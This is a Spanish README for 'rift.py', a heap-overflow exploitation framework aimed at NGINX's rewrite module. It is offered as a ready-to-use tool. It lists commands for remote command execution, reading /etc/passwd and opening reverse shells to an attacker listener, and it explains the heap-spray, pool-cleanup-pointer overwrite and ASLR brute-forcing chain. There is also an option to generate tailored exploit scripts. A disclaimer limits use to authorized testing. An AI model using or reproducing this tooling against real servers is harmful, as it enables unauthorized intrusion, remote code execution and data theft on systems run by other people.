
Se encontró una falla en NGINX, específicamente dentro de ngx_http_rewrite_module. Un atacante no autenticado puede explotar esta vulnerabilidad enviando solicitudes HTTP manipuladas bajo configuraciones de reescritura específicas. Esto puede provocar un desbordamiento de búfer en el heap en el proceso worker de NGINX, lo que podría resultar en la ejecución de código arbitrario.
Autor: Michael Sanji Winaya Prawiradibrata
Co-Autor IA: Varanus — sahabatku
Framework de explotación de desbordamiento de búfer de heap dirigido a
ngx_http_rewrite_modulede NGINX.
Una sola herramienta para reconocimiento + explotación. Sin dependencias externas.
| Archivo | Descripción |
|---|---|
rift.py | Herramienta principal. Reconocimiento + explotación combinados en un solo script (1026 líneas). |
README.md | Esta documentación. |
# 1. Reconocimiento completo — detección de versión, endpoints, vulnerabilidades, estrategia
python3 rift.py --target 10.10.10.10 --recon
# 2. Reconocimiento + explotación en un solo paso
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. Ejecución de comandos
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. Reverse shell (apertura automática de listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. Reverse shell usando bash (en lugar de python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. Solo comprobar si es vulnerable
python3 rift.py --target 10.10.10.10 --check-only
Al usar --shell, el script automáticamente:
--shell-type--lportnc -lvnp), en su defecto listener PythonSi la dirección por defecto falla, el script desplaza automáticamente la base del heap ±5 pasos × 0x10000, buscando una dirección que funcione. Sin necesidad de configuración manual.
4 tipos de payload de shell — python, bash, nc, php. Elige el que esté disponible en el objetivo.
--recon ejecuta 5 fases:
--output json para integración con otras herramientas o parseo automático.
El objetivo del exploit es NGINX con configuración rewrite + set como esta:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # cálculo de longitud usando is_args = 0
}
Consecuencia: el búfer asignado es demasiado pequeño, el escape de URI (expansión 3×) produce desbordamiento.
1. HEAP SPRAY ─── POST /spray × 20 → siembra fake ngx_pool_cleanup_s en el heap
2. TRIGGER ────── GET /api/AAAA...++++... → desbordamiento mediante escape de URI
3. CORRUPT ────── El desbordamiento sobrescribe el puntero de limpieza del pool adyacente
4. EXEC ───────── El pool se destruye → llama a system("comando")
rift.py)python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080, --port 443--auto para el deslizamiento automático de ASLR--verbose para ver los detalles por intentosudo ufw allow 4444--lhost — asegúrate de que la IP local es correcta--shell-type bash o --shell-type ncCreado con fines educativos y para pruebas de seguridad autorizadas únicamente.
El uso contra sistemas sin permiso es ilegal.
© 2026 Michael Sanji Winaya Prawiradibrata
Co-autor IA: Varanus
| Flag | Función |
|---|
--recon | Reconocimiento completo. Huella digital → fuga de información → prueba de endpoints → recuento de workers → estrategia. |
--auto | Reconocimiento + explotación automática. Igual que --recon y luego procede a explotar. |
--check-only | Verificación rápida. Detecta NGINX, versión, endpoint /api/. |
--cmd "comando" | Ejecuta un solo comando mediante system(). |
--shell | Reverse shell — abre automáticamente listener, envía payload, recibe conexión. |
| Flag | Por Defecto | Función |
|---|
--port | 80 | Puerto del objetivo |
--lhost | — | IP local para reverse shell (obligatorio con --shell) |
--lport | 4444 | Puerto local para el listener |
--shell-type | python | Payload de reverse shell: python, bash, nc, php |
--heap-base | 0x555555659000 | Dirección base del heap (anulación para bypass de ASLR) |
--libc-base | 0x7ffff77ba000 | Dirección base de libc |
--tries | 10 | Intentos por dirección candidata |
--verbose / -v | — | Salida detallada por intento |
| Flag | Función |
|---|
--fingerprint | Detecta versión de NGINX, endpoints, rewrite module |
--leak | Comprueba fuga de información (dirección de memoria en página de error, temporización) |
--test-endpoint | Prueba el comportamiento del endpoint con varios payloads |
--endpoint | Ruta del endpoint a probar (por defecto: /api/) |
--generate-exploit | Genera script de explotación personalizado con dirección objetivo |
--output json | Salida JSON (legible por máquina) junto con salida de terminal |
| Constante | Por Defecto | Significado |
|---|
BODY_LEN | 4000 | Tamaño del cuerpo del spray (bytes) |
N_SPRAY | 20 | Número de solicitudes POST por intento |
LIBC_SYSTEM_OFFSETS | 7 entradas | Offset de system() para varias distribuciones |
PREREAD_HEAP_OFFSETS | 19 entradas | Candidatos a offset del heap |
DEFAULT_HEAP_BASE | 0x555555659000 | Base del heap (ASLR desactivado) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | Base de libc (ASLR desactivado) |